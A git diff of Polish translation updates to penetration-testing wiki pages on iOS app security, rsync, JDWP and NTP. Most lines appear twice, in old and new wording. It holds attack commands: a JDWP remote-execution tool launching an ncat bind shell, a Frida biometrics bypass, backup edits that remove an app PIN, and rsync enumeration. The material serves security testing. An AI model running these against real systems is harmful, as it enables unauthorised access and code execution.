Przykład zmiany zachowania aplikacji poprzez modyfikacje kopii zapasowej można zobaczyć w aplikacji portfela bitcoin [Bither](https://github.com/bither/bither-ios), gdzie PIN blokady interfejsu użytkownika jest przechowywany w `net.bither.plist` pod kluczem **pin_code**. Usunięcie tego klucza z plist i przywrócenie kopii zapasowej usuwa wymóg podawania PIN-u, zapewniając nieograniczony dostęp.
## Podsumowanie dotyczące testowania pamięci w przypadku danych wrażliwych
## Podsumowanie testowania pamięci dla danych wrażliwych
Podczas pracy z wrażliwymi informacjami przechowywanymi w pamięci aplikacji, kluczowe jest ograniczenie czasu ekspozycji tych danych. Istnieją dwa główne podejścia do badania zawartości pamięci: **tworzenie zrzutu pamięci** i **analiza pamięci w czasie rzeczywistym**. Obie metody mają swoje wyzwania, w tym potencjalne pominięcie krytycznych danych podczas procesu zrzutu lub analizy.
Podczas pracy z wrażliwymi informacjami przechowywanymi w pamięci aplikacji, kluczowe jest ograniczenie czasu ekspozycji tych danych. Istnieją dwa główne podejścia do badania zawartości pamięci: **tworzenie zrzutu pamięci** i **analiza pamięci w czasie rzeczywistym**. Obie metody mają swoje wyzwania, w tym możliwość pominięcia krytycznych danych podczas procesu zrzutu lub analizy.
## **Odzyskiwanie i analiza zrzutu pamięci**
Dla urządzeń z jailbreakiem i bez jailbreaka, narzędzia takie jak [objection](https://github.com/sensepost/objection) i [Fridump](https://github.com/Nightbringer21/fridump) umożliwiają zrzut pamięci procesu aplikacji. Po zrzuceniu, analiza tych danych wymaga różnych narzędzi, w zależności od charakteru informacji, których szukasz.
Aby wyodrębnić ciągi z zrzutu pamięci, można użyć poleceń takich jak `strings` lub `rabin2 -zz`:
Aby wyodrębnić ciągi ze zrzutu pamięci, można użyć poleceń takich jak `strings` lub `rabin2 -zz`:
```bash
# Extracting strings using strings command
$ strings memory > strings.txt
@ -695,7 +695,7 @@ $ r2 <name_of_your_dump_file>
```
## **Analiza pamięci w czasie rzeczywistym**
**r2frida** oferuje potężną alternatywę do inspekcji pamięci aplikacji w czasie rzeczywistym, bez potrzeby zrzutu pamięci. To narzędzie umożliwia wykonywanie poleceń wyszukiwania bezpośrednio w pamięci działającej aplikacji:
**r2frida** oferuje potężną alternatywę do inspekcji pamięci aplikacji w czasie rzeczywistym, bez potrzeby posiadania zrzutu pamięci. To narzędzie umożliwia wykonywanie poleceń wyszukiwania bezpośrednio w pamięci działającej aplikacji:
```bash
$ r2 frida://usb//<name_of_your_app>
[0x00000000]> /\ <search_command>
@ -704,52 +704,52 @@ $ r2 frida://usb//<name_of_your_app>
### Poor Key Management Processes
Niektórzy deweloperzy zapisują wrażliwe dane w lokalnej pamięci i szyfrują je kluczem zakodowanym/predykcyjnym w kodzie. Nie powinno się tego robić, ponieważ pewne techniki odwrotne mogą pozwolić atakującym na wydobycie poufnych informacji.
Niektórzy deweloperzy zapisują wrażliwe dane w lokalnej pamięci i szyfrują je kluczem zakodowanym/łatwym do przewidzenia w kodzie. Nie powinno się tego robić, ponieważ pewne techniki odwracania mogą pozwolić atakującym na wydobycie poufnych informacji.
### Use of Insecure and/or Deprecated Algorithms
Deweloperzy nie powinni używać **deprecated algorithms** do przeprowadzania **checks** autoryzacji, **store** lub **send** danych. Niektóre z tych algorytmów to: RC4, MD4, MD5, SHA1... Jeśli **hashes** są używane do przechowywania haseł, powinny być używane **brute-force resistant** hashe z solą.
Deweloperzy nie powinni używać **deprecated algorithms** do przeprowadzania **checks** autoryzacji, **store** lub **send** danych. Niektóre z tych algorytmów to: RC4, MD4, MD5, SHA1... Jeśli **hashes** są używane do przechowywania haseł, na przykład, powinny być używane **hashes** odporne na brute-force z solą.
### Check
Główne kontrole, które należy przeprowadzić, to sprawdzenie, czy można znaleźć **hardcoded** hasła/tajemnice w kodzie, czy są one **predictable**, oraz czy kod używa jakiegoś rodzaju **weak** **cryptography** algorytmów.
Główne kontrole, które należy przeprowadzić, to sprawdzenie, czy można znaleźć **hardcoded** hasła/tajemnice w kodzie, czy są one **predictable**, oraz czy kod używa jakiegoś rodzaju **weak** **cryptography** algorithms.
Ciekawe jest to, że można **monitor** niektóre **crypto** **libraries** automatycznie za pomocą **objection** z:
```swift
ios monitor crypt
```
Dla **więcej informacji** na temat iOS cryptographic APIs i bibliotek, odwiedź [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography)
Dla **więcej informacji** na temat iOS kryptograficznych API i bibliotek, odwiedź [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography)
## Autoryzacja lokalna
## Uwierzytelnianie lokalne
**Autoryzacja lokalna** odgrywa kluczową rolę, szczególnie w kontekście zabezpieczania dostępu do zdalnego punktu końcowego za pomocą metod kryptograficznych. Istotą jest to, że bez odpowiedniej implementacji mechanizmy autoryzacji lokalnej mogą być obejście.
**Uwierzytelnianie lokalne** odgrywa kluczową rolę, szczególnie w kontekście zabezpieczania dostępu do zdalnego punktu końcowego za pomocą metod kryptograficznych. Istotą jest to, że bez odpowiedniej implementacji mechanizmy uwierzytelniania lokalnego mogą być obejście.
Framework [**Local Authentication**](https://developer.apple.com/documentation/localauthentication) firmy Apple oraz [**keychain**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html) oferują solidne API dla deweloperów, aby ułatwić dialogi autoryzacji użytkownika i bezpiecznie obsługiwać dane poufne. Secure Enclave zabezpiecza identyfikację odcisku palca dla Touch ID, podczas gdy Face ID opiera się na rozpoznawaniu twarzy bez kompromitowania danych biometrycznych.
Framework [**Local Authentication**](https://developer.apple.com/documentation/localauthentication) firmy Apple oraz [**keychain**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html) oferują solidne API dla deweloperów, aby ułatwić dialogi uwierzytelniające użytkowników i bezpiecznie obsługiwać dane tajne. Secure Enclave zabezpiecza identyfikację odcisku palca dla Touch ID, podczas gdy Face ID opiera się na rozpoznawaniu twarzy bez kompromitowania danych biometrycznych.
Aby zintegrować Touch ID/Face ID, deweloperzy mają do wyboru dwa API:
- **`LocalAuthentication.framework`** do autoryzacji użytkownika na wysokim poziomie bez dostępu do danych biometrycznych.
- **`Security.framework`** do dostępu do usług keychain na niższym poziomie, zabezpieczając dane poufne za pomocą autoryzacji biometrycznej. Różne [open-source wrappers](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id) ułatwiają dostęp do keychain.
- **`LocalAuthentication.framework`** do uwierzytelniania użytkowników na wysokim poziomie bez dostępu do danych biometrycznych.
- **`Security.framework`** do dostępu do usług keychain na niższym poziomie, zabezpieczając dane tajne za pomocą uwierzytelniania biometrycznego. Różne [open-source wrappers](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id) ułatwiają dostęp do keychain.
> [!CAUTION]
> Jednak zarówno `LocalAuthentication.framework`, jak i `Security.framework` mają luki, ponieważ głównie zwracają wartości boolean bez przesyłania danych do procesów autoryzacji, co czyni je podatnymi na obejście (zobacz [Don't touch me that way, by David Lindner et al](https://www.youtube.com/watch?v=XhXIHVGCFFM)).
> Jednak zarówno `LocalAuthentication.framework`, jak i `Security.framework` mają luki, ponieważ głównie zwracają wartości boolean bez przesyłania danych do procesów uwierzytelniania, co czyni je podatnymi na obejście (zobacz [Don't touch me that way, by David Lindner et al](https://www.youtube.com/watch?v=XhXIHVGCFFM)).
### Implementacja autoryzacji lokalnej
### Implementacja uwierzytelniania lokalnego
Aby poprosić użytkowników o autoryzację, deweloperzy powinni wykorzystać metodę **`evaluatePolicy`** w klasie **`LAContext`**, wybierając między:
Aby poprosić użytkowników o uwierzytelnienie, deweloperzy powinni wykorzystać metodę **`evaluatePolicy`** w klasie **`LAContext`**, wybierając między:
- **`deviceOwnerAuthentication`**: Prosi o Touch ID lub kod dostępu do urządzenia, niepowodzenie, jeśli żadne z nich nie jest włączone.
- **`deviceOwnerAuthenticationWithBiometrics`**: Wyłącznie prosi o Touch ID.
Sukces autoryzacji wskazuje wartość boolean zwrócona przez **`evaluatePolicy`**, co podkreśla potencjalną lukę w zabezpieczeniach.
Sukces uwierzytelnienia jest wskazywany przez wartość boolean zwracaną z **`evaluatePolicy`**, co podkreśla potencjalną lukę w zabezpieczeniach.
### Autoryzacja lokalna z użyciem Keychain
### Uwierzytelnianie lokalne z użyciem Keychain
Implementacja **autoryzacji lokalnej** w aplikacjach iOS polega na użyciu **keychain APIs** do bezpiecznego przechowywania danych poufnych, takich jak tokeny autoryzacyjne. Proces ten zapewnia, że dane mogą być dostępne tylko dla użytkownika, korzystającego z kodu dostępu do urządzenia lub autoryzacji biometrycznej, takiej jak Touch ID.
Implementacja **uwierzytelniania lokalnego** w aplikacjach iOS polega na użyciu **keychain APIs** do bezpiecznego przechowywania danych tajnych, takich jak tokeny uwierzytelniające. Proces ten zapewnia, że dane mogą być dostępne tylko dla użytkownika, korzystającego z kodu dostępu do urządzenia lub uwierzytelnienia biometrycznego, takiego jak Touch ID.
Keychain oferuje możliwość ustawienia elementów z atrybutem `SecAccessControl`, który ogranicza dostęp do elementu, dopóki użytkownik nie uwierzytelni się pomyślnie za pomocą Touch ID lub kodu dostępu do urządzenia. Ta funkcja jest kluczowa dla zwiększenia bezpieczeństwa.
Poniżej znajdują się przykłady kodu w Swift i Objective-C demonstrujące, jak zapisać i odzyskać ciąg z keychain, wykorzystując te funkcje zabezpieczeń. Przykłady pokazują, jak skonfigurować kontrolę dostępu, aby wymagała autoryzacji Touch ID i zapewniała, że dane są dostępne tylko na urządzeniu, na którym zostały skonfigurowane, pod warunkiem, że kod dostępu do urządzenia jest skonfigurowany.
Poniżej znajdują się przykłady kodu w Swift i Objective-C demonstrujące, jak zapisać i odzyskać ciąg z keychain, wykorzystując te funkcje zabezpieczeń. Przykłady pokazują, jak skonfigurować kontrolę dostępu, aby wymagała uwierzytelnienia Touch ID i zapewniała, że dane są dostępne tylko na urządzeniu, na którym zostały skonfigurowane, pod warunkiem, że kod dostępu do urządzenia jest skonfigurowany.
{{#tabs}}
{{#tab name="Swift"}}
@ -893,7 +893,7 @@ Jeśli używany jest `Security.framework`, tylko drugi zostanie wyświetlony.
Dzięki **Objection Biometrics Bypass**, znajdującemu się na [tej stronie GitHub](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass), dostępna jest technika umożliwiająca pokonanie mechanizmu **LocalAuthentication**. Sedno tego podejścia polega na wykorzystaniu **Frida** do manipulacji funkcją `evaluatePolicy`, zapewniając, że zawsze zwraca wynik `True`, niezależnie od rzeczywistego sukcesu uwierzytelnienia. Jest to szczególnie przydatne do omijania wadliwych procesów uwierzytelniania biometrycznego.
Aby aktywować to ominięcie, używa się następującego polecenia:
Aby aktywować to ominięcie, używana jest następująca komenda:
```bash
...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios ui biometrics_bypass
(agent) Registering job 3mhtws9x47q. Type: ios-biometrics-disable
@ -1038,25 +1038,25 @@ Możesz również użyć **objection's** `ios sslpinning disable`
- **`iTunesMetadata.plist`**: Informacje o aplikacji używane w App Store
- **`/Library/*`**: Zawiera preferencje i pamięć podręczną. W **`/Library/Cache/Snapshots/*`** możesz znaleźć zrzut wykonany dla aplikacji przed wysłaniem jej w tle.
### Hot Patching/Przymusowe Aktualizacje
### Hot Patching/Wymuszone Aktualizacje
Deweloperzy mogą zdalnie **natychmiast załatać wszystkie instalacje swojej aplikacji** bez konieczności ponownego przesyłania aplikacji do App Store i czekania na jej zatwierdzenie.\
Deweloperzy mogą zdalnie **natychmiastowo łatać wszystkie instalacje swojej aplikacji** bez konieczności ponownego przesyłania aplikacji do App Store i czekania na jej zatwierdzenie.\
W tym celu zazwyczaj używa się [**JSPatch**](https://github.com/bang590/JSPatch)**.** Istnieją jednak również inne opcje, takie jak [Siren](https://github.com/ArtSabintsev/Siren) i [react-native-appstore-version-checker](https://www.npmjs.com/package/react-native-appstore-version-checker).\
**To niebezpieczny mechanizm, który może być nadużywany przez złośliwe SDK, dlatego zaleca się sprawdzenie, która metoda jest używana do automatycznych aktualizacji (jeśli w ogóle) i przetestowanie jej.** Możesz spróbować pobrać wcześniejszą wersję aplikacji w tym celu.
### Strony Trzecie
Znaczącym wyzwaniem związanym z **SDK stron trzecich** jest **brak szczegółowej kontroli** nad ich funkcjonalnościami. Deweloperzy stają przed wyborem: albo zintegrować SDK i zaakceptować wszystkie jego funkcje, w tym potencjalne luki w zabezpieczeniach i obawy dotyczące prywatności, albo całkowicie zrezygnować z jego korzyści. Często deweloperzy nie są w stanie sami załatać luk w tych SDK. Ponadto, gdy SDK zyskują zaufanie w społeczności, niektóre mogą zacząć zawierać złośliwe oprogramowanie.
Znaczącym wyzwaniem związanym z **SDK stron trzecich** jest **brak szczegółowej kontroli** nad ich funkcjonalnościami. Deweloperzy stają przed wyborem: albo zintegrować SDK i zaakceptować wszystkie jego funkcje, w tym potencjalne luki w zabezpieczeniach i obawy dotyczące prywatności, albo całkowicie zrezygnować z jego korzyści. Często deweloperzy nie są w stanie sami łatać luk w tych SDK. Ponadto, gdy SDK zyskują zaufanie w społeczności, niektóre mogą zacząć zawierać złośliwe oprogramowanie.
Usługi świadczone przez SDK stron trzecich mogą obejmować śledzenie zachowań użytkowników, wyświetlanie reklam lub ulepszanie doświadczeń użytkowników. Jednak wprowadza to ryzyko, ponieważ deweloperzy mogą nie być w pełni świadomi kodu wykonywanego przez te biblioteki, co prowadzi do potencjalnych zagrożeń dla prywatności i bezpieczeństwa. Ważne jest, aby ograniczyć informacje udostępniane usługom stron trzecich do tego, co jest konieczne, i upewnić się, że żadne wrażliwe dane nie są ujawniane.
Usługi świadczone przez SDK stron trzecich mogą obejmować śledzenie zachowań użytkowników, wyświetlanie reklam lub ulepszanie doświadczeń użytkowników. Jednak wprowadza to ryzyko, ponieważ deweloperzy mogą nie być w pełni świadomi kodu wykonywanego przez te biblioteki, co prowadzi do potencjalnych zagrożeń dla prywatności i bezpieczeństwa. Ważne jest, aby ograniczyć informacje udostępniane usługom stron trzecich do niezbędnych i upewnić się, że żadne wrażliwe dane nie są ujawniane.
Wdrożenie usług stron trzecich zazwyczaj przychodzi w dwóch formach: jako samodzielna biblioteka lub pełne SDK. Aby chronić prywatność użytkowników, wszelkie dane udostępniane tym usługom powinny być **anonimizowane**, aby zapobiec ujawnieniu Osobowych Danych Identyfikowalnych (PII).
Implementacja usług stron trzecich zazwyczaj występuje w dwóch formach: jako samodzielna biblioteka lub pełne SDK. Aby chronić prywatność użytkowników, wszelkie dane udostępniane tym usługom powinny być **anonimizowane**, aby zapobiec ujawnieniu Osobowych Danych Identyfikowalnych (PII).
Aby zidentyfikować biblioteki używane przez aplikację, można użyć polecenia **`otool`**. To narzędzie powinno być uruchamiane w stosunku do aplikacji i każdej używanej przez nią biblioteki współdzielonej, aby odkryć dodatkowe biblioteki.
Aby zidentyfikować biblioteki używane przez aplikację, można użyć polecenia **`otool`**. To narzędzie powinno być uruchamiane w odniesieniu do aplikacji i każdej używanej przez nią biblioteki współdzielonej, aby odkryć dodatkowe biblioteki.
```bash
otool -L <application_path>
```
## **Referencje i dodatkowe zasoby**
## **Odnośniki i dodatkowe zasoby**
- [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06b-basic-security-testing#information-gathering](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06b-basic-security-testing#information-gathering)
- [iOS & Mobile App Pentesting - INE](https://my.ine.com/CyberSecurity/courses/089d060b/ios-mobile-app-pentesting)
@ -1074,7 +1074,7 @@ otool -L <application_path>
- [https://mas.owasp.org/MASTG/tests/ios/MASVS-AUTH/MASTG-TEST-0064](https://mas.owasp.org/MASTG/tests/ios/MASVS-AUTH/MASTG-TEST-0064)
- [https://medium.com/securing/bypassing-your-apps-biometric-checks-on-ios-c2555c81a2dc](https://medium.com/securing/bypassing-your-apps-biometric-checks-on-ios-c2555c81a2dc)
- [https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0054](https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0054)
- [https://github.com/ivRodriguezCA/RE-iOS-Apps/](https://github.com/ivRodriguezCA/RE-iOS-Apps/) kurs darmowy IOS([https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/](https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/))
- [https://github.com/ivRodriguezCA/RE-iOS-Apps/](https://github.com/ivRodriguezCA/RE-iOS-Apps/) kurs IOS za darmo([https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/](https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/))
- [https://www.sans.org/reading-room/whitepapers/testing/ipwn-apps-pentesting-ios-applications-34577](https://www.sans.org/reading-room/whitepapers/testing/ipwn-apps-pentesting-ios-applications-34577)
- [https://www.slideshare.net/RyanISI/ios-appsecurityminicourse](https://www.slideshare.net/RyanISI/ios-appsecurityminicourse)
- [https://github.com/prateek147/DVIA](https://github.com/prateek147/DVIA)

View File

@ -6,7 +6,7 @@
Z [wikipedia](https://en.wikipedia.org/wiki/Rsync):
> **rsync** to narzędzie do efektywnego [przesyłania](https://en.wikipedia.org/wiki/File_transfer) i [synchronizowania](https://en.wikipedia.org/wiki/File_synchronization) [plików](https://en.wikipedia.org/wiki/Computer_file) między komputerem a zewnętrznym dyskiem twardym oraz w sieci [komputerów](https://en.wikipedia.org/wiki/Computer) poprzez porównywanie [czasów modyfikacji](<https://en.wikipedia.org/wiki/Timestamping_(computing)>) i rozmiarów plików.[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite_note-man_page-3) Jest powszechnie stosowany w systemach [operacyjnych](https://en.wikipedia.org/wiki/Operating_system) podobnych do [Unix](https://en.wikipedia.org/wiki/Unix-like). Algorytm rsync to rodzaj [kodowania delta](https://en.wikipedia.org/wiki/Delta_encoding) i jest używany do minimalizowania wykorzystania sieci. [Zlib](https://en.wikipedia.org/wiki/Zlib) może być używany do dodatkowej [kompresji danych](https://en.wikipedia.org/wiki/Data_compression),[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite_note-man_page-3) a [SSH](https://en.wikipedia.org/wiki/Secure_Shell) lub [stunnel](https://en.wikipedia.org/wiki/Stunnel) mogą być używane dla bezpieczeństwa.
> **rsync** to narzędzie do efektywnego [przesyłania](https://en.wikipedia.org/wiki/File_transfer) i [synchronizowania](https://en.wikipedia.org/wiki/File_synchronization) [plików](https://en.wikipedia.org/wiki/Computer_file) między komputerem a zewnętrznym dyskiem twardym oraz w sieci [komputerów](https://en.wikipedia.org/wiki/Computer) poprzez porównywanie [czasów modyfikacji](<https://en.wikipedia.org/wiki/Timestamping_(computing)>) i rozmiarów plików.[\[3\]](https://en.wikipedia.org/wiki/Rsync#_note-man_page-3) Jest powszechnie stosowany w systemach [operacyjnych](https://en.wikipedia.org/wiki/Operating_system) podobnych do [Unix](https://en.wikipedia.org/wiki/Unix-like). Algorytm rsync to rodzaj [kodowania delta](https://en.wikipedia.org/wiki/Delta_encoding) i jest używany do minimalizowania wykorzystania sieci. [Zlib](https://en.wikipedia.org/wiki/Zlib) może być używany do dodatkowej [kompresji danych](https://en.wikipedia.org/wiki/Data_compression),[\[3\]](https://en.wikipedia.org/wiki/Rsync#_note-man_page-3) a [SSH](https://en.wikipedia.org/wiki/Secure_Shell) lub [stunnel](https://en.wikipedia.org/wiki/Stunnel) mogą być używane dla bezpieczeństwa.
**Domyślny port:** 873
```
@ -39,7 +39,7 @@ raidroot
```
### **Enumerowanie Wspólnych Folderów**
**Moduły Rsync** są rozpoznawane jako **udziały katalogów**, które mogą być **chronione hasłami**. Aby zidentyfikować dostępne moduły i sprawdzić, czy wymagają haseł, używa się następujących poleceń:
**Moduły Rsync** są rozpoznawane jako **udziały katalogów**, które mogą być **chronione hasłami**. Aby zidentyfikować dostępne moduły i sprawdzić, czy wymagają haseł, używane są następujące polecenia:
```bash
nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
msf> use auxiliary/scanner/rsync/modules_list
@ -47,13 +47,13 @@ msf> use auxiliary/scanner/rsync/modules_list
# Example with IPv6 and alternate port
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730
```
Bądź świadomy, że niektóre udostępnienia mogą nie pojawić się na liście, co może je ukrywać. Dodatkowo, dostęp do niektórych udostępnień może być ograniczony do określonych **poświadczeń**, co jest wskazywane przez komunikat **"Dostęp zabroniony"**.
Bądź świadomy, że niektóre udostępnienia mogą nie pojawić się na liście, co może je ukrywać. Dodatkowo, dostęp do niektórych udostępnień może być ograniczony do określonych **credentials**, co jest wskazywane przez komunikat **"Access Denied"**.
### [**Brute Force**](../generic-hacking/brute-force.md#rsync)
### Ręczne użycie Rsync
Po uzyskaniu **listy modułów**, działania zależą od tego, czy potrzebna jest autoryzacja. Bez autoryzacji, **wyświetlanie** i **kopiowanie** plików z udostępnionego folderu do lokalnego katalogu osiąga się poprzez:
Po uzyskaniu **module list**, działania zależą od tego, czy wymagana jest autoryzacja. Bez autoryzacji, **listing** i **copying** plików z udostępnionego folderu do lokalnego katalogu osiąga się poprzez:
```bash
# Listing a shared folder
rsync -av --list-only rsync://192.168.0.123/shared_name
@ -80,7 +80,7 @@ find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)
```
W tym pliku parametr _secrets file_ może wskazywać na plik zawierający **nazwy użytkowników i hasła** do uwierzytelniania rsyncd.
## Odniesienia
## References
- [https://www.smeegesec.com/2016/12/pentesting-rsync.html](https://www.smeegesec.com/2016/12/pentesting-rsync.html)

View File

@ -14,16 +14,16 @@ Narzędziem, które warto użyć, jest [jdwp-shellifier](https://github.com/hugs
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.lang.String.indexOf as breakpoint instead of java.net.ServerSocket.accept
```
Zauważyłem, że użycie `--break-on 'java.lang.String.indexOf'` sprawia, że exploit jest **stabilniejszy**. A jeśli masz możliwość przesłania backdoora na hosta i jego uruchomienia zamiast wykonywania polecenia, exploit będzie jeszcze bardziej stabilny.
Zauważyłem, że użycie `--break-on 'java.lang.String.indexOf'` sprawia, że exploit jest bardziej **stabilny**. A jeśli masz możliwość przesłania backdoora na hosta i jego wykonania zamiast wykonywania polecenia, exploit będzie jeszcze bardziej stabilny.
## Więcej szczegółów
**To jest podsumowanie [https://ioactive.com/hacking-java-debug-wire-protocol-or-how/](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/)**. Sprawdź to, aby uzyskać więcej szczegółów.
**To jest podsumowanie [https://ioactive.com/hacking-java-debug-wire-protocol-or-how/](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/)**. Sprawdź to, aby uzyskać dalsze szczegóły.
1. **Przegląd JDWP**:
- To protokół binarny oparty na pakietach, głównie synchroniczny.
- Brak autoryzacji i szyfrowania, co czyni go podatnym na ataki, gdy jest narażony na wrogie sieci.
- Brak uwierzytelniania i szyfrowania, co czyni go podatnym na ataki w przypadku wystawienia na wrogie sieci.
2. **Uścisk dłoni JDWP**:
@ -56,7 +56,7 @@ Zauważyłem, że użycie `--break-on 'java.lang.String.indexOf'` sprawia, że e
- [http://www.shodanhq.com/search?q=JDWP-HANDSHAKE](http://www.shodanhq.com/search?q=JDWP-HANDSHAKE)
- http://www.hsc-news.com/archives/2013/000109.html (no longer active)
- [http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt](http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt)
- https://github.com/search?q=-Xdebug+-Xrunjdwp\&type=Code\&ref=searchresults
- [https://github.com/search?q=-Xdebug+-Xrunjdwp\&type=Code\&ref=searchresults](https://github.com/search?q=-Xdebug+-Xrunjdwp\&type=Code\&ref=searchresults)
- [http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html](http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html)
- [http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp-spec.html](http://docs.oracle.com)
- [http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html](http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html)

View File

@ -4,15 +4,15 @@
## Podstawowe informacje
**Protokół Czasu Sieciowego (NTP)** zapewnia, że komputery i urządzenia sieciowe w sieciach o zmiennej latencji synchronizują swoje zegary dokładnie. Jest to kluczowe dla utrzymania precyzyjnego pomiaru czasu w operacjach IT, bezpieczeństwie i logowaniu. Ponieważ czas jest używany w niemal każdym procesie uwierzytelniania, protokole kryptograficznym i procesie kryminalistycznym, **atakujący, który może wpływać na NTP, często może obejść kontrole bezpieczeństwa lub utrudnić badanie ataków.**
**Protokół Czasu Sieciowego (NTP)** zapewnia, że komputery i urządzenia sieciowe w sieciach o zmiennej latencji synchronizują swoje zegary dokładnie. Jest to kluczowe dla utrzymania precyzyjnego pomiaru czasu w operacjach IT, bezpieczeństwie i logowaniu. Ponieważ czas jest używany w niemal każdym procesie autoryzacji, protokole kryptograficznym i dochodzeniowym, **atakujący, który może wpływać na NTP, często może obejść kontrole bezpieczeństwa lub utrudnić dochodzenie w sprawie ataków.**
### Podsumowanie i wskazówki dotyczące bezpieczeństwa
- **Cel**: Synchronizuje zegary urządzeń w sieciach.
- **Znaczenie**: Krytyczne dla bezpieczeństwa, logowania, protokołów kryptograficznych i systemów rozproszonych.
- **Środki bezpieczeństwa**:
- Używaj zaufanych źródeł NTP lub NTS (Network Time Security) z uwierzytelnieniem.
- Ogranicz, kto może zapytywać/komendować demon (``restrict default noquery``, ``kod`` itp.).
- Używaj zaufanych źródeł NTP lub NTS (Network Time Security) z autoryzacją.
- Ogranicz, kto może zapytywać/komendować demona (``restrict default noquery``, ``kod`` itp.).
- Wyłącz kontrolne zapytania w trybie 6/7 (``monlist``, ``ntpdc``) lub ogranicz ich częstotliwość.
- Monitoruj dryf synchronizacji/stan sekund przestępnych pod kątem manipulacji.
- Utrzymuj demona w aktualizacji (zobacz ostatnie CVE poniżej).
@ -79,18 +79,18 @@ Zwróć szczególną uwagę na linie ``restrict``, ustawienia ``kod`` (Kiss-o'-D
## Ostatnie luki (2023-2025)
| Rok | CVE | Komponent | Wpływ |
|-----|-----|-----------|-------|
| 2023 | **CVE-2023-26551→26555** | ntp 4.2.8p15 (libntp *mstolfp*, *praecis_parse*) | Wiele zapisów poza zakresem dostępnych poprzez odpowiedzi **ntpq**. Łatka w **4.2.8p16** 🡒 zaktualizuj lub wprowadź poprawki. citeturn1search1turn1search2turn1search0|
| 2023 | **CVE-2023-33192** | **ntpd-rs** (implementacja w Rust) | Źle sformatowane ciasteczko **NTS** powoduje zdalny **DoS** przed wersją v0.3.3 wpływa na port 123 nawet gdy NTS **wyłączone**. citeturn4view0|
| 2024 | aktualizacje dystrybucji | **chrony 4.4 / 4.5** kilka poprawek zabezpieczeń i NTS-KE (np. SUSE-RU-2024:2022) citeturn2search2|
| 2024 | Rekord DDoS | Cloudflare zgłasza atak **5.6 Tbps UDP reflection** (NTP wśród używanych protokołów). Utrzymuj *monitor* i *monlist* wyłączone na hostach wystawionych na Internet. citeturn5search0|
|------|-----|-----------|--------|
| 2023 | **CVE-2023-26551→26555** | ntp 4.2.8p15 (libntp *mstolfp*, *praecis_parse*) | Wiele zapisów poza zakresem dostępnych przez odpowiedzi **ntpq**. Łatka w **4.2.8p16** 🡒 aktualizacja lub przeniesienie poprawek. |
| 2023 | **CVE-2023-33192** | **ntpd-rs** (implementacja w Rust) | Źle sformatowane ciasteczko **NTS** powoduje zdalny **DoS** przed wersją v0.3.3 wpływa na port 123 nawet gdy NTS **wyłączone**. |
| 2024 | aktualizacje dystrybucji | **chrony 4.4 / 4.5** kilka poprawek zabezpieczeń i NTS-KE (np. SUSE-RU-2024:2022) |
| 2024 | Rekordowy DDoS | Cloudflare zgłasza atak **5.6 Tbps UDP reflection** (NTP wśród używanych protokołów). Utrzymuj *monitor* i *monlist* wyłączone na hostach wystawionych na Internet. |
> **Zestawy exploitów**: Dowody koncepcji dla serii OOB-write ntpq z 2023 roku są dostępne na GitHubie (zobacz opis Meinberga) i mogą być wykorzystane do phishingu po stronie klienta w celu ataku na administratorów systemów. citeturn1search4
> **Zestawy exploitów**: Dowody koncepcji dla serii OOB-write ntpq z 2023 roku są dostępne na GitHubie (zobacz opis Meinberga) i mogą być wykorzystane do phishingu po stronie klienta w celu ataku na administratorów systemów.
---
## Zaawansowane ataki
### 1. Wzmocnienie / Odbicie NTP
### 1. Wzmacnianie / Odbicie NTP
Zapytanie w trybie 7 ``monlist`` zwraca do **600 adresów hostów** i wciąż jest obecne na tysiącach hostów w Internecie. Ponieważ odpowiedź (428-468 bajtów/wejście) jest *~ 200×* większa niż 8-bajtowe zapytanie, atakujący może osiągnąć współczynniki wzmocnienia w trzech cyfrach. Środki zaradcze:
@ -98,11 +98,11 @@ Zapytanie w trybie 7 ``monlist`` zwraca do **600 adresów hostów** i wciąż je
- Ogranicz przepustowość UDP/123 na krawędzi lub włącz *sessions-required* na urządzeniach DDoS.
- Włącz filtrowanie egress *BCP 38*, aby zablokować fałszowanie źródła.
Zobacz artykuł w centrum wiedzy Cloudflare dla szczegółowego opisu krok po kroku. citeturn5search1
Zobacz artykuł w centrum wiedzy Cloudflare dla szczegółowego opisu krok po kroku.
